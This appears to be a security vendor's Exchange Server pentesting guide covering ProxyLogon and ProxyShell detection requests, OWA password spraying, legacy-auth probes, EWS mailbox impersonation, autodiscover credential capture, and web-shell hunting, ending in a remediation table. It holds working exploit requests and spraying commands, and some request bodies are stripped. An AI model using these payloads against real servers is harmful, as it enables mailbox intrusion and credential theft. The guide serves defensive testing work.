Microsoft Exchange Server remains a critical target for attackers — the ProxyLogon vulnerability chain in 2021 compromised tens of thousands of organizations globally, with state-sponsored groups exploiting it within hours of disclosure. Exchange holds the crown jewels of corporate communications: emails, calendar data, contacts, and attachment content. This guide covers ProxyLogon, ProxyShell, OWA brute force, EWS API abuse, autodiscover credential leakage, and web shell detection.
Exchange version identification is critical — different versions are vulnerable to different exploit chains. The build number in HTTP response headers reveals the exact CU (Cumulative Update) level and whether patches are applied.
# Detect Exchange version from OWA headers
curl -s -I "https://mail.example.com/owa/" | grep -i "x-owa-version\|x-powered-by\|server"
# Alternative: Exchange version from autodiscover
curl -s "https://mail.example.com/autodiscover/autodiscover.xml" -I | grep -i "x-feserver\|X-CalculatedBETarget"
# Build number to version mapping
# 15.2.x = Exchange 2019
# 15.1.x = Exchange 2016
# 15.0.x = Exchange 2013
# Detailed version from /ecp endpoint (Exchange Control Panel)
curl -s "https://mail.example.com/ecp/" | grep -i "build\|version"
# Nmap Exchange detection
nmap -p 443 --script http-headers,http-auth mail.example.com
# Check exposed Exchange endpoints
ENDPOINTS=(
"/owa/"
"/ecp/"
"/autodiscover/autodiscover.xml"
"/mapi/"
"/ews/exchange.asmx"
"/oab/"
"/rpc/"
"/activesync/"
"/powershell/"
)
for ep in "${ENDPOINTS[@]}"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://mail.example.com$ep")
echo "$ep: HTTP $STATUS"
done
ProxyLogon is a chain of four CVEs (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065). The initial vector is CVE-2021-26855, an SSRF vulnerability in Exchange's client access service that allows unauthenticated attackers to bypass authentication and impersonate any user. This is then chained with post-auth arbitrary file write (CVE-2021-26858 or CVE-2021-27065) to drop a web shell.
# CVE-2021-26855 SSRF proof-of-concept detection
# The vulnerability is in the CAS backend routing — cookie manipulation
# Check if server is vulnerable (no authentication required)
curl -s -k "https://mail.example.com/ecp/y.js" \
-H "Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;" \
-v 2>&1 | grep "HTTP\|Location\|Set-Cookie"
# Nuclei template for ProxyLogon detection (safe, read-only)
nuclei -u https://mail.example.com -t cves/2021/CVE-2021-26855.yaml
# Check MSERT (Microsoft Safety Scanner) for web shells on server
# On the server itself:
# .\msert.exe /Q /F
# Metasploit module for ProxyLogon (authorized testing only)
# use exploit/windows/http/exchange_proxylogon_rce
# Safe detection: check for POST to /ecp/y.js without auth
curl -s -k -X POST "https://mail.example.com/ecp/y.js" \
-H "Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3;" \
-H "Content-Type: application/json" \
-d '{}' -v 2>&1 | head -30
%ExchangeInstallPath%\FrontEnd\HttpProxy and OWA paths.
# Common web shell paths planted via ProxyLogon/ProxyShell
# Check these on the Exchange server filesystem
WEBSHELL_PATHS=(
"C:\inetpub\wwwroot\aspnet_client\"
"C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\"
"C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\"
)
# File signatures of common Exchange web shells
# Check for .aspx files in Exchange web directories with recent modification dates
Get-ChildItem -Path "C:\inetpub\wwwroot\" -Filter "*.aspx" -Recurse |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-30) }
# Network detection — web shell C2 traffic patterns
# Look for Exchange process making unusual outbound connections
# aspnet_wp.exe or w3wp.exe making outbound HTTP/HTTPS connections
ProxyShell is a post-ProxyLogon chain discovered by Orange Tsai at Pwn2Own 2021 — CVE-2021-34473 (ACL bypass), CVE-2021-34523 (privilege elevation), and CVE-2021-31207 (arbitrary file write). It allows unauthenticated RCE on Exchange servers running versions prior to the May 2021 security update.
# CVE-2021-34473 detection — Autodiscover ACL bypass
# The vulnerability is in the Exchange PowerShell Remoting backend
# Accessible via: /autodiscover/autodiscover.json?Email=autodiscover/autodiscover.json%3F@foo.com
# Test for CVE-2021-34473 exposure
curl -s -k "https://mail.example.com/autodiscover/autodiscover.json?Email=autodiscover/autodiscover.json%3F@foo.com&Protocol=EWS&RedirectCount=1"
# Nuclei templates for ProxyShell chain
nuclei -u https://mail.example.com -t cves/2021/CVE-2021-34473.yaml
nuclei -u https://mail.example.com -t cves/2021/CVE-2021-34523.yaml
nuclei -u https://mail.example.com -t cves/2021/CVE-2021-31207.yaml
# Check Exchange PowerShell Remoting endpoint accessibility
curl -s -k "https://mail.example.com/powershell/" -I | head -20
# PoC step 1: Get user SID via autodiscover bypass
curl -s -k "https://mail.example.com/autodiscover/autodiscover.json?Email=autodiscover/autodiscover.json%3F@victim.com&Protocol=EWS&RedirectCount=1" \
-H "Content-Type: application/json"
Outlook Web Access is the primary web interface for Exchange. Default configurations often lack account lockout, allow basic authentication, and don't enforce MFA — making OWA a target for password spraying and credential stuffing attacks.
# OWA version fingerprinting
curl -s "https://mail.example.com/owa/auth/logon.aspx" | grep -i "version\|build"
# OWA authentication form detection
curl -s "https://mail.example.com/owa/" | grep -i "action\|method\|username\|password"
# Test for account lockout (check if multiple failed attempts trigger lockout)
# Note: always get explicit authorization before running this
for i in {1..5}; do
RESP=$(curl -s -k -X POST "https://mail.example.com/owa/auth.owa" \
-d "username=testuser@example.com&password=WRONG_PASS_$i&destination=https://mail.example.com/owa/&flags=4&forcedownlevel=0&trusted=0" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Referer: https://mail.example.com/owa/auth/logon.aspx" \
-c cookies.txt -b cookies.txt \
-w "%{http_code}" -o /dev/null)
echo "Attempt $i: HTTP $RESP"
done
# Check if Basic Auth is enabled on OWA (should be disabled)
curl -s -k "https://mail.example.com/owa/" \
-H "Authorization: Basic $(echo -n 'DOMAIN\user:password' | base64)"
# Test for OWA login page information disclosure
curl -s "https://mail.example.com/owa/auth/logon.aspx" | \
grep -iE "version|build|error|domain" | head -20
# MailSniper for Exchange password spraying (PowerShell, authorized use only)
# Import-Module MailSniper.ps1
# Invoke-PasswordSprayOWA -ExchHostname mail.example.com -UserList .\users.txt -Password 'Winter2024!'
# Python-based Exchange spraying with ews-tools
# python3 ruler.py --domain example.com spray --users users.txt --password 'Password123' --attempts 1
# Check for legacy auth protocols that bypass MFA
# ActiveSync endpoint — often exempt from conditional access
curl -s -k -X POST "https://mail.example.com/Microsoft-Server-ActiveSync" \
-H "Authorization: Basic $(echo -n 'user@example.com:password' | base64)" \
-H "User-Agent: Apple-iPhone9C1/1702.18" \
-I | head -20
# MAPI over HTTP endpoint
curl -s -k "https://mail.example.com/mapi/nspi/" -I | head -10
# PowerShell remoting over HTTPS (legacy auth)
curl -s -k "https://mail.example.com/powershell/" \
-H "Authorization: Basic $(echo -n 'admin@example.com:password' | base64)" -I | head -10
The Exchange Web Services (EWS) SOAP API provides programmatic access to mailboxes, calendars, and contacts. With valid credentials, EWS enables an attacker to read all emails across impersonated mailboxes, export mailbox contents, and access delegated calendars.
# EWS endpoint discovery
curl -s "https://mail.example.com/ews/exchange.asmx" -I
# Test EWS authentication
# EWS uses NTLM or Basic auth
curl -s -k "https://mail.example.com/ews/exchange.asmx" \
-H "Authorization: Basic $(echo -n 'DOMAIN\user:password' | base64)" \
-H "Content-Type: text/xml" \
-d '
AllProperties
'
# EWS impersonation — read any user's mailbox (with impersonation rights)
# This checks if the attacker account has impersonation rights
curl -s -k "https://mail.example.com/ews/exchange.asmx" \
-H "Authorization: Basic $(echo -n 'DOMAIN\attacker:password' | base64)" \
-H "Content-Type: text/xml" \
-H "X-AnchorMailbox: victim@example.com" \
-d '
victim@example.com
AllProperties
'
# Use ruler tool for EWS-based attacks
# ruler --email user@example.com --username user --password pass --server mail.example.com --verbose display
Autodiscover is an Exchange service that helps email clients auto-configure. Badly configured autodiscover can leak credentials to attacker-controlled servers — a vulnerability documented by Shlomo Zilberman in 2021 ("Autodiscover" vulnerability affecting 100,000 companies).
# Test autodiscover credential leakage
# When Outlook cannot find autodiscover.company.com, it falls back to:
# - autodiscover.com (public)
# - autodiscover.{tld}
# If an attacker controls these, they receive credentials
# Check if autodiscover fallback domains are registered
nslookup autodiscover.company.com
nslookup autodiscover.companyname.com
# Set up listener to capture autodiscover requests (external test)
# python3 -m http.server 443 (or use Burp Collaborator)
# Configure DNS to point autodiscover.companyname.com to your listener
# Test autodiscover endpoint directly
curl -s -k "https://mail.example.com/autodiscover/autodiscover.xml" \
-H "Authorization: Basic $(echo -n 'user@example.com:password' | base64)" \
-H "Content-Type: text/xml" \
-d '
user@example.com
http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a
'
# Check autodiscover via Exchange's backend
curl -s "https://mail.example.com/autodiscover/autodiscover.json?Email=user@example.com&Protocol=ActiveSync"
# Scan Exchange web directories for web shells
# On-server PowerShell commands:
# Find recently modified ASPX files in Exchange directories
Get-ChildItem -Path "C:\Program Files\Microsoft\Exchange Server" -Filter "*.aspx" -Recurse |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddMonths(-3) } |
Select-Object FullName, LastWriteTime | Format-Table -AutoSize
# Check IIS logs for web shell access patterns
# Look for requests to unusual .aspx paths with POST methods
Select-String -Path "C:\inetpub\logs\LogFiles\W3SVC1\*.log" \
-Pattern "POST.*\.aspx\s+200" | Select-Object -Last 100
# HAFNIUM web shell detection (Microsoft's tool)
# Run: Microsoft Safety Scanner (MSERT)
# Or: Exchange On-premises Mitigation Tool
# Network indicators of compromise
# - Unusual outbound HTTPS from w3wp.exe or aspnet_wp.exe
# - New scheduled tasks created after Exchange exploitation
# - LSASS dump creation
# - New local admin accounts
# File system indicators
$suspiciousPaths = @(
"C:\inetpub\wwwroot\aspnet_client\*.aspx",
"C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\*.aspx",
"C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\*.aspx"
)
foreach ($path in $suspiciousPaths) {
if (Test-Path $path) { Get-Item $path | Select-Object FullName, LastWriteTime, Length }
}
# Exchange Management Shell remote access
# The /powershell/ endpoint requires Exchange RBAC permissions
# Test if endpoint is exposed
curl -s -k "https://mail.example.com/powershell/" \
-H "Authorization: Negotiate" -I
# Check Exchange RBAC roles via EWS (admin)
# Get-ManagementRoleAssignment -GetEffectiveUsers | Select RoleAssigneeName,Role
# Test for PowerShell over HTTP (should be disabled externally)
curl -s "http://mail.example.com/powershell/" -I
# Remote PowerShell connection to Exchange (from attacker machine with creds)
# $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://mail.example.com/PowerShell/ -Authentication Kerberos
# Import-PSSession $Session -DisableNameChecking
# Check for Exchange PowerShell command logging gaps
# Exchange doesn't log all PS commands by default
# Look for: New-MailboxExportRequest, Export-Mailbox abuse for data theft
| Finding | Risk | Remediation |
|---|---|---|
| ProxyLogon (CVE-2021-26855) | Critical | Apply all Exchange Security Updates; verify with Microsoft's ProxyLogon detection script |
| ProxyShell (CVE-2021-34473) | Critical | Install May 2021 CU or later; check for web shells in Exchange IIS directories |
| Basic auth on OWA | High | Disable Basic auth; enforce Modern Authentication (OAuth 2.0) with MFA |
| No account lockout on OWA | High | Configure ADFS or Azure AD password protection; use Entra ID Conditional Access |
| EWS impersonation rights | High | Audit ApplicationImpersonation role assignments; remove from non-service accounts |
| Autodiscover credential leakage | High | Register autodiscover.{tld} variants; configure Exclude/ExcludeHttpRedirect AutodiscoverRedirect |
| Exchange exposed to internet | High | Place Exchange behind Entra ID Application Proxy or Web Application Proxy with MFA pre-auth |
| Legacy authentication protocols | High | Disable BasicAuth for all Exchange clients; block legacy auth in Entra ID Conditional Access |
Ironimo's automated scanner identifies Exchange web interface vulnerabilities, exposed EWS APIs, and authentication weaknesses — giving security teams the evidence needed to prioritize patching and hardening decisions.
Start free scan